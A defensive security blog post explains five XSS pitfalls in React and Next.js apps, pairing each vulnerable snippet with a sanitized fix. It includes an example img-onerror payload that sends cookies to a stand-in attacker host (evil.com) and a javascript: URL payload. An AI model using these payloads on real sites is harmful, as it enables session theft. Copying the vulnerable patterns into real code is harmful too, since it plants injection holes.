Vulnerability Research
XSS
React
Next.js
Frontend Security

React XSS Vulnerabilities: dangerouslySetInnerHTML and Beyond

SecureCodeReviews Team
March 6, 2026
11 min read
Share

React's Built-in XSS Protection

React's JSX automatically escapes values before rendering them to the DOM. This means React is safe by default for most XSS scenarios:

// SAFE — React escapes this automatically
function UserGreeting({ name }) {
  return <h1>Hello, {name}!</h1>;
}

// Even if name = "<script>alert('XSS')</script>"
// React renders: Hello, &lt;script&gt;alert('XSS')&lt;/script&gt;

But there are 5 common ways developers bypass this protection — and we find them in nearly every React codebase we review.


Vulnerability #1: dangerouslySetInnerHTML

The most obvious XSS vector — and the most common.

❌ Vulnerable Code

function BlogPost({ post }) {
  // User-generated content rendered as raw HTML
  return (
    <article>
      <h1>{post.title}</h1>
      <div dangerouslySetInnerHTML={{ __html: post.content }} />
    </article>
  );
}

If post.content comes from user input (blog CMS, comment system, rich text editor), an attacker can inject:

<img src=x onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">

✅ Secure Code

import DOMPurify from 'dompurify';

function BlogPost({ post }) {
  const sanitized = DOMPurify.sanitize(post.content, {
    ALLOWED_TAGS: ['h1','h2','h3','p','a','ul','ol','li','strong','em','code','pre','img'],
    ALLOWED_ATTR: ['href','src','alt','class'],
  });

  return (
    <article>
      <h1>{post.title}</h1>
      <div dangerouslySetInnerHTML={{ __html: sanitized }} />
    </article>
  );
}

Vulnerability #2: href / src Injection (javascript: Protocol)

React does NOT block javascript: URLs in href attributes.

❌ Vulnerable Code

function UserProfile({ user }) {
  return (
    <div>
      <h2>{user.name}</h2>
      <a href={user.website}>Visit Website</a>
    </div>
  );
}

// Attack: user.website = "javascript:alert(document.cookie)"

✅ Secure Code

function sanitizeUrl(url) {
  try {
    const parsed = new URL(url);
    if (!['http:', 'https:', 'mailto:'].includes(parsed.protocol)) {
      return '#';
    }
    return url;
  } catch {
    return '#';
  }
}

function UserProfile({ user }) {
  return (
    <div>
      <h2>{user.name}</h2>
      <a href={sanitizeUrl(user.website)} rel="noopener noreferrer">
        Visit Website
      </a>
    </div>
  );
}

Vulnerability #3: Server-Side Rendering (SSR) XSS

In Next.js and other SSR frameworks, data serialized to the HTML payload can be exploited.

❌ Vulnerable Code

// Next.js page component
export async function getServerSideProps({ query }) {
  return {
    props: {
      searchTerm: query.q || '',
    },
  };
}

function SearchPage({ searchTerm }) {
  return (
    <div>
      <h1>Results for: {searchTerm}</h1>
      {/* The SSR HTML includes the unsanitized searchTerm in the __NEXT_DATA__ script tag */}
    </div>
  );
}

While the JSX itself is escaped, the __NEXT_DATA__ JSON payload in the HTML source is a potential vector if the framework doesn't properly escape it (older versions were vulnerable).

✅ Secure Code

import { sanitize } from 'some-sanitizer';

export async function getServerSideProps({ query }) {
  return {
    props: {
      searchTerm: sanitize(query.q || '').slice(0, 200), // Sanitize + length-limit
    },
  };
}

Vulnerability #4: Third-Party Rich Text Editors

Many React apps use rich text editors (Draft.js, Slate, TinyMCE, Quill) that output HTML.

❌ Vulnerable Pattern

// Save raw editor HTML to database
const handleSave = async () => {
  await fetch('/api/posts', {
    method: 'POST',
    body: JSON.stringify({ content: editorHtml }), // Raw HTML from editor
  });
};

// Render without sanitization
function DisplayPost({ htmlContent }) {
  return <div dangerouslySetInnerHTML={{ __html: htmlContent }} />;
}

✅ Secure Pattern

Always sanitize on both save and render:

import DOMPurify from 'dompurify';

// Sanitize before saving
const handleSave = async () => {
  const clean = DOMPurify.sanitize(editorHtml);
  await fetch('/api/posts', {
    method: 'POST',
    body: JSON.stringify({ content: clean }),
  });
};

// Sanitize before rendering (defense in depth)
function DisplayPost({ htmlContent }) {
  const clean = DOMPurify.sanitize(htmlContent);
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

Vulnerability #5: URL Parameter Reflection via Markdown

If your React app renders user-supplied Markdown (e.g., in a docs system or comment section):

import ReactMarkdown from 'react-markdown';

// If allowDangerousHtml is enabled:
<ReactMarkdown children={userMarkdown} remarkPlugins={[]} rehypePlugins={[rehypeRaw]} />

Enabling rehypeRaw allows raw HTML in Markdown, which reintroduces XSS.

✅ Secure: Use rehype-sanitize

import ReactMarkdown from 'react-markdown';
import rehypeSanitize from 'rehype-sanitize';

<ReactMarkdown
  children={userMarkdown}
  rehypePlugins={[rehypeSanitize]}
/>

Prevention Checklist

RuleAction
Audit all dangerouslySetInnerHTMLEnsure DOMPurify sanitization on every usage
Block javascript: URLsValidate protocol on all dynamic href/src
Deploy CSP headersAdd Content-Security-Policy: script-src 'self'
Use eslint-plugin-reactEnable react/no-danger rule
Sanitize MarkdownUse rehype-sanitize instead of rehype-raw
Escape SSR dataValidate/sanitize all getServerSideProps inputs

Get a Professional React Security Review

We specialize in React and Next.js security code reviews. XSS is just one of many things we check — we also look for SSRF, IDOR, auth bypasses, and more.

Request a Free Sample Code Review →

Advertisement